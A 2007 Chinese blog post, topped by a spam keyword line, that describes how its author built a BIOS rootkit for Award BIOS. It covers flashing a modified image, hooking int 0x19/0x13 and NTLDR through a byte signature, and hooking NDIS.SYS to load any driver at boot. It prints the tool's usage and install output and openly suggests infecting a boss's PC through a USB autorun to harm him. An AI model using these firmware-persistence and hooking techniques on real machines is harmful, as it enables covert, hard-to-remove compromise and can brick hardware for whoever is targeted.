青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

BIOS Rootkit:Welcome home,my Lord!

      [BIOS RootKit:Welcome Home,My Lord!...?]
                   
[Author ]: Icelord
[Contact]:
icelord@sohu.com
[Data   ]: @2007/04/26->...

    本文介紹一個(gè)簡(jiǎn)單BIOS rootkit的簡(jiǎn)單設(shè)計(jì)過程
    意在拋磚引玉,期待高手們指點(diǎn)
   
    其中涉及的幾篇文字均可在blog.csdn.net/icelord上找到
   
http://blog.csdn.net/icelord/archive/2007/05.aspx

[申明]

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

    本文所涉及到的資料,均來自internet...
    由此造成的后果,與本人無關(guān)
    假設(shè)您已經(jīng)了解x86和NT的相關(guān)知識(shí)。
    內(nèi)容僅為個(gè)人意見。由于時(shí)間倉(cāng)促,很多細(xì)節(jié)沒有驗(yàn)證,錯(cuò)誤很多。
    如果您有不同意見,可聯(lián)系
icelord@sohu.com,歡迎指正。

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

[前言]

    這是很早的一個(gè)想法了。//那是去聽一位講TPM,很長(zhǎng)篇的,
    打瞌睡,于是想怎么破壞那種限制(在一定條件下),自然而然想到了BIOS Coding,
    后來就轉(zhuǎn)化為BIOS Rootkit...


[國(guó)內(nèi)外發(fā)展?fàn)顩r]

    ACPI BIOS Rootkit
    PCI Module BIOS Rootkit
    CPU Micro Code...???  
   

    times 3K db 0   ;這里省略3K Bytes


[rootkit定義]
    google yourself
[BIOS介紹]
    google yourself
[BIOS RootKit的優(yōu)缺點(diǎn)]
    很明顯
[IcLord BIOSRootkit的組成]

    下面的方法很笨拙,但是我的目的只是讓它能運(yùn)行起來...
    如果您有好的方法,歡迎指點(diǎn)/交流
   
    (1).Flasher
    (2).BIOS Module
    (3).Bootstrap
    (4).NT RootKit //?

[問題]
(1).植入
    如何將rootkit植入到BIOS中...
(2).啟動(dòng)
    如何在啟動(dòng)的過程中執(zhí)行rootkit的指令...
(3).切換
    BIOS在OS之前運(yùn)行,要想啟動(dòng)OS,需要將CPU控制交還到BootLoader。
    此時(shí),CPU處于RealMode,沒有多任務(wù),沒有VM...
    那么,如何使得我們的RootKit再次獲取CPU?...
(4).RootKit實(shí)體
    怎樣實(shí)現(xiàn)Rootkit的功能:hide,shell...
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

[解決方法]
    [流程]
        ISAModule-->hook BIOS int svc,
        從而在int svc中再Hook NTLDR!OsLoader.EXE,
        在NTLDR!OsLoader.EXE中再進(jìn)行kernel subversion
       
        hehe,看起來很簡(jiǎn)單,實(shí)際遇到的問題那可是相當(dāng)麻煩啊,follow me,逐個(gè)解決
       
    [目標(biāo)]
        該程序能啟動(dòng).sys類型的存在的rootkit,也就是能在NT操作系統(tǒng)中啟動(dòng).sys(<64KB)文件...
       
        BIOS RootKit本身要實(shí)現(xiàn)安裝.sys到BIOS中,并在PC啟動(dòng)時(shí)使該.sys在特定的操作系統(tǒng)下生效

一、如何將代碼植入到BIOS中
   
    [目標(biāo)]
    將制定的代碼植入到BIOS中,并且在BIOS初始化的末尾獲得運(yùn)行的機(jī)會(huì)。
   
    [solution?]
    將代碼植入到BIOS,需要解決以下問題:
    (1).如何修改BIOS,添加自己的代碼
    (2).如何刷新BIOS

    //預(yù)備知識(shí):
    //
    //BIOS(Basic Input/Output System)負(fù)責(zé)初始化各種硬件,Provide Runtime Service,并負(fù)責(zé)加載并執(zhí)行BootSector,
    //將CPU轉(zhuǎn)交OSLoader。當(dāng)前BIOS Provider主要為Phonix-Award,AMI好像很少(至少在我這里)。
    //BIOS存儲(chǔ)在FlashROM中。
    //FlashROM(快速只讀存儲(chǔ)器)是當(dāng)前主板、顯卡的BIOS程序的主要存儲(chǔ)介質(zhì)。
    //FlashROM在一般情況下為只讀,寫無效,即里面存儲(chǔ)的數(shù)據(jù)無法被修改,而且斷電之后數(shù)據(jù)仍然保存。
    //FlashROM一般為字節(jié)讀取,扇區(qū)/塊擦除,byte/sector/page/bulk Program。
    //BIOSROM影射在內(nèi)存的高端。為防止程序運(yùn)行時(shí)的內(nèi)存寫入破壞BIOS,一般FlashROM都軟件和硬件保護(hù)。
    //
    //FlashROM一般連接在南橋的LPC(Low Pin Count)總線上,南橋芯片有不同的寄存器來控制FlashROM的WE和解碼。
    //
    //[SST 49LFxxx系列的刷新問題]
    //    我不知道SST應(yīng)用是否廣泛,但至少我這里有幾臺(tái)機(jī)器都是 SST 49LFXXX系列的FlashROM
    //   
    //    例如,SST 49LFxxx系列FlashROM,這種FlashROM提供SDP(Software data protect)和HDP(Hardware Data protect).
    //    要對(duì)FlashROM寫入,需要向FlashROM的特定位置發(fā)送特定的指令序列,而且TBL#(Top Boot Lock)和WP#(Write Protect)。
    //    除此之外,還需要設(shè)置ICH的BIOS_CNTL和LPC_DEC_EN寄存器...(對(duì)ICH4芯片...),Firmware Hub的Block Locking register...
    //
    //[PCI配置寄存器的知識(shí)和問題]
    //
    //    不同的主板芯片需要不同的設(shè)置,不同的FlashROM需要不同的刷新方法,具體需要看相關(guān)的DataSheet和Specification.
   
    BIOS是分模塊的固件程序...
   
    [Award BIOS 6.00PG(2Mb)的結(jié)構(gòu)]
        見<<awdBIOS 鏡像結(jié)構(gòu)簡(jiǎn)單分析>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604122.aspx
       
   
    [Award 2M BIOS src分析]
        brief:只是為了了解初始化流程
        見<<awdBIOS 2M Src簡(jiǎn)單分析>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604133.aspx
       
       
    [加入ISA模塊和Hook問題]
        見<<加入ISA模塊和Hook問題>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604151.aspx
        見<<awdBIOS 數(shù)據(jù)結(jié)構(gòu)>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604156.aspx
       

    [效驗(yàn)和問題]
        怎樣修復(fù)添加模塊后的BIOS的效驗(yàn)和?
        見<<關(guān)于BIOS效驗(yàn)和的問題>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604179.aspx
   
    [刷新的問題]
        [UniFlash源碼分析]
            很好的開源軟件,
            見<<UniFlash簡(jiǎn)單分析>>
           
http://blog.csdn.net/icelord/archive/2007/05/11/1604188.aspx
        [WinFlash的簡(jiǎn)單分析]
            win平臺(tái)的AWD BIOS刷新程序,IDA一下,看看它究竟怎么刷新...
            見<<WinFlash_AwdFlash簡(jiǎn)單分析>>
           
http://blog.csdn.net/icelord/archive/2007/05/11/1604209.aspx
           
    [關(guān)于輔助驅(qū)動(dòng)]
        在NT下刷新BIOS需要讀寫物理內(nèi)存和/或IO端口,那么怎樣快速的讀寫物理內(nèi)存和/或IO端口。
        見<<讀寫物理內(nèi)存和IO端口>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604229.aspx
       
       
    [實(shí)際測(cè)試方法]
   
        至少應(yīng)該有兩臺(tái)相似的機(jī)器,即FlashROM相同(可拆卸的那種),BIOS相同,以確保在刷新失敗后迅速恢復(fù)。
        你也可以使用BootBlock的功能,用軟盤恢復(fù),不過試驗(yàn)時(shí)讀盤之后就沒了反應(yīng)...
       
        之后你就可以從ISA模塊開始測(cè)試了。
   
   
    [問題多多]
   
        [complex hardware environment]
       
        [diferent bios vendor & version]
       
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 

二、如何在BIOS/OsLoader中啟動(dòng)Rootkit

    [目標(biāo)]
   
    將ring0/ring3 Rootkit隱藏于 BIOS中,并且能夠在用戶選擇操作系統(tǒng)之后開始工作。
    Rootkit以驅(qū)動(dòng)(ring0 okay以后,ring3應(yīng)該更簡(jiǎn)單)的形式存在(其實(shí)就是嵌入到 BIOS中)。

    [當(dāng)前狀態(tài)]
        Location:   BIOS Module
        Seq:        BIOS POST Section...
        state:      16Bit Real Mode
       
        先看一下x86 PC/(using awdbios)初始化流程
        >...
        >BIOS_memsizing..
        >XXXX   (uncared...)
        >ISA/PCI Module Init
        >Int 0x19
        >MBR
        >PBR(obr?)
        >Ntldr
        >KernelImage/Drivers
       
        這時(shí),我們已經(jīng)能夠在實(shí)模式下執(zhí)行代碼了,而且有BIOS服務(wù)可以使用(???)。此時(shí)
    操作系統(tǒng)還沒有啟動(dòng),沒有文件系統(tǒng),我們的目標(biāo)是在操作系統(tǒng)支持下的一個(gè)特殊Shell
    程序,所以我們需要放棄CPU將控制轉(zhuǎn)交到BIOS,使之完成正常初始化。那么如何使我們的
    代碼再次獲得CPU(被運(yùn)行)?
        (1).寫文件
            就是將需要運(yùn)行的代碼寫入到磁盤文件中(OS 需要且會(huì)執(zhí)行的文件),OS在啟動(dòng)中
            再運(yùn)行此文件,從而獲取執(zhí)行的機(jī)會(huì)。
            很明顯,此方法很復(fù)雜,需要很多特殊的環(huán)境,特別是文件系統(tǒng)的操作...
        (2).Hook
            老方法:Hook BIOS代碼,再在hook代碼中進(jìn)行多級(jí)Hook,從而在運(yùn)行l(wèi)oader時(shí)重新獲取執(zhí)行
            的機(jī)會(huì)。
            這個(gè)方法現(xiàn)在很流行...
   
    注:Nt Loader在啟動(dòng)中,將使用BIOS服務(wù)來讀取所需的磁盤數(shù)據(jù),所以直接Hook BIOS服務(wù)即可
    實(shí)現(xiàn)對(duì) Loader的Hook,獲得再次執(zhí)行的機(jī)會(huì)。

    在BIOS ISA模塊中,可以使用BIOS服務(wù)(E8_POST?)//此處沒有作深入的測(cè)試
    在測(cè)試中直接在ISA ROM Init 階段Hook int 13h失敗,所以采用了Hook int 0x19-->hook int 0x13
    的方式,比較羅嗦,但是可以將就著用...
   
    [NTLDR分析]
        已經(jīng)有高人分析過了,但是沒看懂,自己按需要記錄了一下,需要知道流程:
        見<<NTLDR.分析筆記>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604312.aspx
   
    [Signature Code的確定]
        見<<x HookCode的選擇>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604320.aspx
   
    首先要確保能hook用戶選擇的操作系統(tǒng),所以要Hook的代碼應(yīng)該位于KeSelectKernel()函數(shù)之后
    其次,當(dāng)我們Hook的代碼運(yùn)行時(shí),操作系統(tǒng)內(nèi)核和BootDriver應(yīng)已經(jīng)加載到內(nèi)存,這樣就會(huì)方便
    我們進(jìn)一步Hook Kernel或者BootDriver,實(shí)現(xiàn)向VM32下的切換。要滿足這個(gè)條件,要Hook的代碼應(yīng)該
    在'BlLoadImage(NTOSKRNL)'之后了.
        其實(shí)很簡(jiǎn)單。直接從Osloader將控制轉(zhuǎn)交到NTOSKRNL.EXE處開始向前查找即可
    即從代碼(SystemEntry)(BlLoaderBlock);之前查找。
    考慮到兼容性的問題,即如何適應(yīng)不同版本的 OsLoader.
    簡(jiǎn)單想法是查找CPU控制寄存器相關(guān)的指令來Hook,因?yàn)橥ㄓ眉拇嫫骱茈y找到三個(gè)版本通用的Hook指令。
    但是Turn On Paging時(shí)肯定會(huì)用到CR0(/CR3)寄存器。所以直接查找'mov eax,cr0'之類的指令,看是否
    三個(gè)版本的OSLOADER.exe中是否有相同的代碼。hehe,運(yùn)氣不錯(cuò),在BlSetupForNT()中找到了三個(gè)OSLoader.exe
    都存在的指令,可以說是童叟無欺,基本可用。
   
    代碼如下:
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
    [Ref_nt4: \boot]     
    //
    // Mapped hardcoded virtual pointer to the boot processors PCR
    // The virtual pointer comes from the HAL reserved area
    //

    //
    // First zero out any PTEs that may have already been mapped for
    // a SCSI card.
    //

    RtlZeroMemory(HalPT, PAGE_SIZE);
    _asm {
        mov     eax, cr3                //拿CR3開刀,hehe
        mov     cr3, eax
    }

    HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].PageFrameNumber = PCR+1;
    HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Valid = 1;
    HalPT[(KI_USER_SHARED_DATA - 0xFFC00000) >> PAGE_SHIFT].Write = 1;
    RtlZeroMemory((PVOID)KI_USER_SHARED_DATA, PAGE_SIZE);
   
    %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
   
    三個(gè)版本的Osloader.exe中斷匯編代碼如下:
    windows 2000 pro
   
    AssembleCode:
    .text:0031F244 010  mov     edi, ds:dword_357670
    .text:0031F24A 010  mov     esi, 400h
    .text:0031F24F 010  mov     ecx, esi
    .text:0031F251 010  xor     eax, eax
    .text:0031F253 010  rep stosd
    .text:0031F255 010  mov     eax, cr3
    .text:0031F258 010  mov     cr3, eax
    .text:0031F25B 010  mov     eax, ds:dword_357670
    .text:0031F260 010  mov     ecx, ds:dword_3324B0
   
    HexCode:
    8B 3D 70 76 35 00
    BE 00 04 00 00
    8B CE
    33 C0
    F3 AB
    0F 20 D8
    0F 22 D8
    A1 70 76 35 00
    8B 0D B0 24 33 00
   
    ---------------------------------------------------------------------------
    windows xp sp2
   
    AssembleCode:
    .text:00428D81 018  mov     edi, dword_46A410
    .text:00428D87 018  mov     ebx, 400h
    .text:00428D8C 018  mov     ecx, ebx
    .text:00428D8E 018  xor     eax, eax
    .text:00428D90 018  rep stosd
    .text:00428D92 018  mov     eax, cr3
    .text:00428D95 018  mov     cr3, eax
    .text:00428D98 018  mov     eax, dword_46A410
    .text:00428D9D 018  add     eax, 7C0h
   
    HexCode:
    8B 3D 10 A4 46 00
    BB 00 04 00 00
    8B CB
    33 C0
    F3 AB
    0F 20 D8
    0F 22 D8
    A1 10 A4 46 00
    05 C0 07 00 00
   
    ---------------------------------------------------------------------------
    windows 2003 sp0
   
    AssembleCode:
    .text:0042C6BD 018  mov     edi, dword_471B90
    .text:0042C6C3 018  mov     ebx, 400h
    .text:0042C6C8 018  mov     ecx, ebx
    .text:0042C6CA 018  xor     eax, eax
    .text:0042C6CC 018  rep stosd
    .text:0042C6CE 018  mov     eax, cr3
    .text:0042C6D1 018  mov     cr3, eax
    .text:0042C6D4 018  mov     eax, dword_471B90
    .text:0042C6D9 018  add     eax, 7C0h
   
    HexCode:
   
    8B 3D 90 1B 47 00
    BB 00 04 00 00
    8B CB
    33 C0
    F3 AB
    0F 20 D8
    0F 22 D8
    A1 90 1B 47 00
    05 C0 07 00 00
   
    ---------------------------------------------------------------------------
   
    Signature Code:
   
    ------------------------------------------------
    8B 3D ** ** ** **       ;mov edi,dword [addr]
    ** 00 04 00 00          ;mov reg,0x400
    8B **                   ;mov ecx,reg
    ------------------------------------------------
    33 C0                   ;xor eax,eax
    F3 AB                   ;rep stosd
    0F 20 D8                ;mov eax,cr3
    0F 22 D8                ;mov cr3,eax
    ------------------------------------------------
    A1 ** ** ** **          ;mov eax,dword [addr]
    ------------------------------------------------
   
    finally:
   
    code={33 c0 f3 ab , 0f 20 d8 0f , 22 d8 a1}
    dword:0xabf3c033,0x0fd8200f,0x??a1d822
   
    or
   
    33
    c0 f3 ab 0f,20 d8 0f 22,d8 a1
   
    ------------------------------------------------
   
    haha,只要在int 0x13中hook上面所示的代碼,即可在用戶選擇操作系統(tǒng),并且OsLoader.exe
    加載了內(nèi)核和BootDriver之后獲得執(zhí)行的機(jī)會(huì).那時(shí),你可以再次任意hook Kernel。
   
    為什么搞的這么麻煩?因?yàn)槲业哪康氖羌虞d一個(gè)額外的驅(qū)動(dòng)。這要求在BootDriver初始化開始時(shí)才
    運(yùn)行的.    
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

三、切換

    [當(dāng)前狀態(tài)]
   
        當(dāng)運(yùn)行到這里時(shí)我們處于32Bit PM,Paging的狀態(tài)下。
        EIP位于BlSetupForNt()函數(shù)中...,Ntoskrnl.exe>0x8000 0000的位置
    [可否利用OsLoader的內(nèi)建驅(qū)動(dòng)來寫文件?]
        這個(gè)問題見<<NTLDR內(nèi)建文件系統(tǒng)驅(qū)動(dòng)分析>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604350.aspx
        和<<關(guān)于在OsLoader.exe中寫文件的問題>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604360.aspx
    [BootBlock問題]
        怎樣確定內(nèi)核模塊的加載位置?
       
        要Hook kerel或者其它驅(qū)動(dòng),首先要能夠確定這些模塊在內(nèi)存中的位置。從上面的Ntldr分析和
    在2K_SRC中可以了解到這樣一個(gè)變量BlLoaderBlock,在這個(gè)變量中能夠獲取很多信息,包括加載的
    模塊信息鏈表/內(nèi)存信息鏈表(見NTLDR分析)。那么,怎樣才能找到一個(gè)確定BlLoaderBlock的位置的方法,
    而且使得它在三個(gè)版本的Osloader.exe中通用?
        (1).可以使用硬編碼,不同版本的Osloader應(yīng)該很容易判斷,不同的osloader的BlLoaderBlock使用經(jīng)驗(yàn)
    地址即可。
        (2).使用堆棧。這種方法比較巧妙。
        由于在OSLoader.exe中很多函數(shù)使用了bp-based的函數(shù),即:
        ...
        push ebp
        mov ebp,esp
        sub esp,xxx
        ...
        所以,
        caller's ebp等于*ebp,如下圖
       
        +-----------+ [Low Memory]
        | local var |
        +-----------+
        |    ebp    +---+
        +-----------+   |     current stack/me
        |  ret_addr |   | ________________________
        +-----------+   |
        |   arg0    |   |
        +-----------+   |
        |   arg1    |   |
        +-----------+   |
        |   argn    |   |
        +-----------+   |
        |   ...     |   |
        +-----------+   |
        | local_var |   |
        +-----------+   |
        |    ebp    |<--+
        +-----------+         caller/father_proc
        |  ret_addr |     __________________________
        +-----------+
        |    arg0   |
        +-----------+
        |    arg1   |
        +-----------+
        |           |   
        +-----------+ [High Memory]
        [BP Based Stack Frame]
       
        (有點(diǎn)像入門教程了,hehe)
        所以(*ebp+0x8)-->caller's 1st params
            (*ebp+0xC)-->caller's 2st params
        這樣就可以逐級(jí)獲取caller的參數(shù)。
       
        通過分析NTLDR可以發(fā)現(xiàn)如下的call path..
       
        BlOsLoader(9,Argv,NULL);
            +-->BlSetupForNt(BlLoaderBlock);
                +-->OutHookCode here!!!
       
        說到這里,應(yīng)該很明顯了...(你可以通過這個(gè)方法獲取NtProcessStartup()的參數(shù)BootContextRecord...??/uncared)
       
        ---------------------------------------
        還有一種方法就是應(yīng)用在call指令中
        call func_addr
        那么就可以通過堆棧中的ret_addr取得這條指令地址以及func_addr,hehe,簡(jiǎn)單
       
        <<>>
       
    [保留內(nèi)存映射問題]
        怎樣確保自己在影射的內(nèi)存范圍內(nèi)?按照常規(guī)的思路,我們的RootKit將被影射到0x80000000+physAddr.
        但是,當(dāng)使用保留內(nèi)存的時(shí)候,這樣的的做法并不可行。在實(shí)驗(yàn)中,初始化時(shí)將自己拷貝到了保留內(nèi)存中,
        NTOSKRNOL進(jìn)行BootDriver初始化時(shí)跳轉(zhuǎn)運(yùn)行,藍(lán)屏,罵之,再藍(lán)屏...
        超過4個(gè)小時(shí)的Win2K/BOCHS安裝,將hook Code該為0xeb 0xfe,中斷,察看虛擬內(nèi)存,
        發(fā)現(xiàn)保留的內(nèi)存沒有影射(即640KB的附近區(qū)域)。試了好久,沒辦法,暫時(shí)有兩種方法:
        (1).在BlSetupForNT()中,將自己拷貝到其他區(qū)域
        (2).修改BlLoaderBlock中的內(nèi)存鏈表
            這種方法比較簡(jiǎn)單,內(nèi)存鏈表中的每塊內(nèi)存都有屬性,只需要修改內(nèi)存塊的屬性,即可讓Ntoskrnl在初始化時(shí)映射
        指定的內(nèi)存區(qū)域(到0x8xxx xxxx)。
        見<<保留內(nèi)存影射問題>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604362.aspx
       
    [NDIS.SYS Hook的問題]
        怎樣Hook?怎樣確保relocate/remap之后仍然有效?
        開始打算Hook Ntoskrnl.exe,后來決定不妥,我們只需要一個(gè)能初始化驅(qū)動(dòng)的機(jī)會(huì),
        所以就hook ndis,在ndis初始化之后再初始化自己的rootkit驅(qū)動(dòng)。
       
        這樣做的問題是如何讓NDIS.SYS初始化之后初始化自己的驅(qū)動(dòng)。
        首先我們的可以知道驅(qū)動(dòng)所在的物理內(nèi)存,常規(guī)計(jì)算,加上2G,得到虛擬地址。我們的hookCode也會(huì)跳到這個(gè)位置。
        但是,NDIS.SYS初始化時(shí)會(huì)重新映射到0xFxxx xxxx的位置,會(huì)進(jìn)行重定位。
        將你的hookCode該為0xeb 0xfe,再截?cái)鄋toskrnl.exe,你就會(huì)發(fā)現(xiàn)這一點(diǎn)。
       
        所以不能直接修改BlLoaderBlock里面對(duì)Module的EntryPoint域來達(dá)到Hook。
        實(shí)際中使用了 inline hook,這樣我們可以獲取ndis.sys的初始化參數(shù)DriverEntry(pDroverObject,pStr_RegPath)
       
        部分信息見<<Hook NDIS.SYS入口問題>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604369.aspx
       
   
    [怎樣初始化自己的Driver/Rootkit(.sys)]
        部分見<<BootDriver初始化流程>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604387.aspx
        驅(qū)動(dòng)的初始化很簡(jiǎn)單,在<<do all in one exe file>>一文中有詳細(xì)的介紹
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604086.aspx
        這里使用相同的手法.
       
        有些rootkit要Hook Ndis,所以在這里我們先讓NDIS.SYS初始化,然后再初始化我們自己的驅(qū)動(dòng)。
       
        因?yàn)樵谔D(zhuǎn)到我們自己的代碼時(shí)可以通過[BootBlock問題]section所示的方法,獲取
        NDIS.SYS在初始化后的EntryPoint和params,直接把它的 DriverEntry()當(dāng)作普通函數(shù)來調(diào)用即可。
        然后,再初始化自己。
       
        至于如何加載.sys文件并展開到內(nèi)存重定位之類的,網(wǎng)上有很多資料,在<<do all *>>里面也有介紹。 
        見<<do All In One Exe File>>
       
http://blog.csdn.net/icelord/archive/2007/05/11/1604086.aspx
   
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
四、RootKit實(shí)體

    至于rootkit,可以根據(jù)自己的需要隨便寫一個(gè).sys文件即可
    [擴(kuò)展]
       
        也可以再次hook ndis,例如hook NDIS_OPEN_BLOCK/NDIS_PROTOCOL_BLOCK之類的,作一個(gè)簡(jiǎn)單shell
       
        或者更簡(jiǎn)單點(diǎn)點(diǎn),釋放一個(gè)exe
       
        或者利用APC來插入自己的ring3 code到任何一個(gè)線程...
       
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
五、應(yīng)用
    寫了一個(gè)簡(jiǎn)單的demo
    利用此demo,可以將任何<32KB(其實(shí)是27KB)的.sys嵌入到AWD BIOS 6*中,并在PC啟動(dòng)時(shí)運(yùn)行,
    如果進(jìn)入NT系統(tǒng),則會(huì)在BootDriver初始化過程中運(yùn)行(IopInitializeBootDrivers階段)
    (確切的說是自NDIS.SYS初始化之后運(yùn)行)。
   
    測(cè)試過的環(huán)境:
   
    p4 1.7G 256RAM i845 SST49LF002A(2M) FWH  AWD BIOS 6.00PG
   
    p4 3.2G 512RAM i9xx SST49LF004A(4M) FWH  AWD BIOS 6.00PG
   
    Athlon 2500+ 768RAM Via KT600(?) WinBond xxx(4M)  AWD BIOS 6.00PG
   
    至于其它奇機(jī)器,沒條件試
   
    怎么使用:
    如果看領(lǐng)導(dǎo)不爽的話,將 iclord.exe置U盤中,寫一AutoRun.INF,待領(lǐng)導(dǎo)用時(shí)殷勤獻(xiàn)上...
    hehe,可以出出氣了,成功的話最好,不成功的話,也能讓他忙N天吧..(刷壞的BIOS,而且 FlashROM焊死到了主板上)
   
    -----------------------
    格式:
    x:\>iclord.exe /install 123.sys   
   
    下面是測(cè)試結(jié)果:
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) 版權(quán)所有 1985-1998 Microsoft Corp.
   
    C:\>iclord
                    ICLord BIOS Rootkit [v8.0 test version]
    ------------------------------------------------------------------------------
                            >>>>test only!!!<<<<
    ------------------------------------------------------------------------------
    Usage:
    /?                              show this help.
    /dump [bios_image_name]         show info & dump bios image to specific file.
                                    bios image is auto saved as OrigBios.ROM
    /install   [new_payload]        install ICLord BIOS Rootkit[UsingSMIflashing].
    /installex [new_payload]        install ICLord BIOS Rootkit[NotUsingSMI...].
    /view_mem base                  dump physical memory content.
    /info                           show some hardware info...
    /dump_ex                        Generate 'BIOS Image with Payload Included'
                                    From Naive BIOS Without Flash...
    /cbrom_ BiosImage /isa xxx...   this is a Lite CBROM,[to be ...] hehe
    /flash BiosImgeFile             Flash BIOS Image File to BIOS ROM.
                                    Make Sure that bios image is valid!!!!.
   
    Original BIOS ROM is AutoSaved as 'OrigBios.ROM'.
    New BIOS is AutoSaved as 'NewBios.ROM'.
    ------------------------------------------------------------------------------
   
    C:\>iclord /install protextor.sys
    Write 97E Bytes...
    Write 40000 Bytes...
    Name:6A69VM4H.BIN       Type:50000000   Offset:       0 ModuleSize:12AE2
    Name:awardext.rom       Type:407F0000   Offset:   12AE4 ModuleSize:96C8
    Name:CPUCODE.BIN        Type:40010000   Offset:   1C1AD ModuleSize:1024
    Name:ACPITBL.BIN        Type:40030000   Offset:   1D1D2 ModuleSize:17BB
    Name:AwardBmp.bmp       Type:40020000   Offset:   1E98E ModuleSize:30C
    Name:_EN_CODE.BIN       Type:40290000   Offset:   1EC9B ModuleSize:1396
    Name:ANTI_VIR.BIN       Type:40070000   Offset:   20032 ModuleSize:14AB
    Name:cafe.bmp           Type:40000000   Offset:   214DE ModuleSize:492E
    Decompress okay...!!!
    SystemBIOS CRC:AC36
    BIOS Version:Award Modular BIOS v6.00PG
    BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
    BIOS ID:6A69VM4Hd Modular BIOS v6.00PG
    erorr @ load_file()...
    error @ load new payload!!
    Error @ ReplacePayload!!
   
    C:\>iclord /install protector.sys
    Write 97E Bytes...
    Write 40000 Bytes...
    Name:6A69VM4H.BIN       Type:50000000   Offset:       0 ModuleSize:12AE2
    Name:awardext.rom       Type:407F0000   Offset:   12AE4 ModuleSize:96C8
    Name:CPUCODE.BIN        Type:40010000   Offset:   1C1AD ModuleSize:1024
    Name:ACPITBL.BIN        Type:40030000   Offset:   1D1D2 ModuleSize:17BB
    Name:AwardBmp.bmp       Type:40020000   Offset:   1E98E ModuleSize:30C
    Name:_EN_CODE.BIN       Type:40290000   Offset:   1EC9B ModuleSize:1396
    Name:ANTI_VIR.BIN       Type:40070000   Offset:   20032 ModuleSize:14AB
    Name:cafe.bmp           Type:40000000   Offset:   214DE ModuleSize:492E
    Decompress okay...!!!
    SystemBIOS CRC:AC36
    BIOS Version:Award Modular BIOS v6.00PG
    BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
    BIOS ID:6A69VM4Hd Modular BIOS v6.00PG
    Write 8000 Bytes...
    crc8_ex()=0xE9
    crc8_ex()=0x31
    Write 40000 Bytes...
    ................................................................
    Checking BIOS ...
    ................................................................
    BIOS Check Okay!!!>>>>>>
   
    C:\>iclord /info
    Write 97E Bytes...
    Write 40000 Bytes...
    Name:6A69VM4H.BIN       Type:50000000   Offset:       0 ModuleSize:12AE2
    Name:awardext.rom       Type:407F0000   Offset:   12AE4 ModuleSize:96C8
    Name:CPUCODE.BIN        Type:40010000   Offset:   1C1AD ModuleSize:1024
    Name:ACPITBL.BIN        Type:40030000   Offset:   1D1D2 ModuleSize:17BB
    Name:AwardBmp.bmp       Type:40020000   Offset:   1E98E ModuleSize:30C
    Name:_EN_CODE.BIN       Type:40290000   Offset:   1EC9B ModuleSize:1396
    Name:ANTI_VIR.BIN       Type:40070000   Offset:   20032 ModuleSize:14AB
    Name:cafe.bmp           Type:40000000   Offset:   214DE ModuleSize:492E
    Name:leaving.bin        Type:40A40000   Offset:   25E0D ModuleSize:12C5
    Decompress okay...!!!
    SystemBIOS CRC:AC36
    BIOS Version:Award Modular BIOS v6.00PG
    BIOS Info:10/09/2001-i845-W627HF-6A69VM4HC-00
    BIOS ID:6A69VM4Hd Modular BIOS v6.00PG

    注:
        (1)protector.sys是一個(gè)rootkit(我也不知道是干什么的,從rootkit.com上下載的,
        會(huì)創(chuàng)建一個(gè)
\\Device\\Protector的設(shè)備...用自己的驅(qū)動(dòng)文件IO_HLPER.SYS也測(cè)試
        成功)
        (2)觀察BIOS模塊,多出來的leaving.bin就是我們的bootstrap,ISA Module...
        是整個(gè)rootkit的主體。
       
    再次啟動(dòng)機(jī)器時(shí),進(jìn)入Windows后,用winobj查看,就可以發(fā)現(xiàn)
\\Device\\protector
    個(gè)設(shè)備.
    如果需要查看詳細(xì)信息
    可以按F8選擇*安全模式,這樣leaving.bin的信息會(huì)在NT啟動(dòng)過程中顯示在屏幕上
    (使用了0xB8000來顯示,所以正常啟動(dòng)時(shí)(VESA模式)看不到)
   
    測(cè)試過三個(gè)系統(tǒng):
    >win2k sp0 with SST49LF002A
    >winxp SP2 with SST49LF002A
    >win2003 SP0 with SST49LF004A
   
    -----------------
    下面測(cè)試的leaving.bin,通過,沒有用icelord.exe來測(cè)試..
    (tools:winflash+cbrom215.exe,payload = leaving.bin)
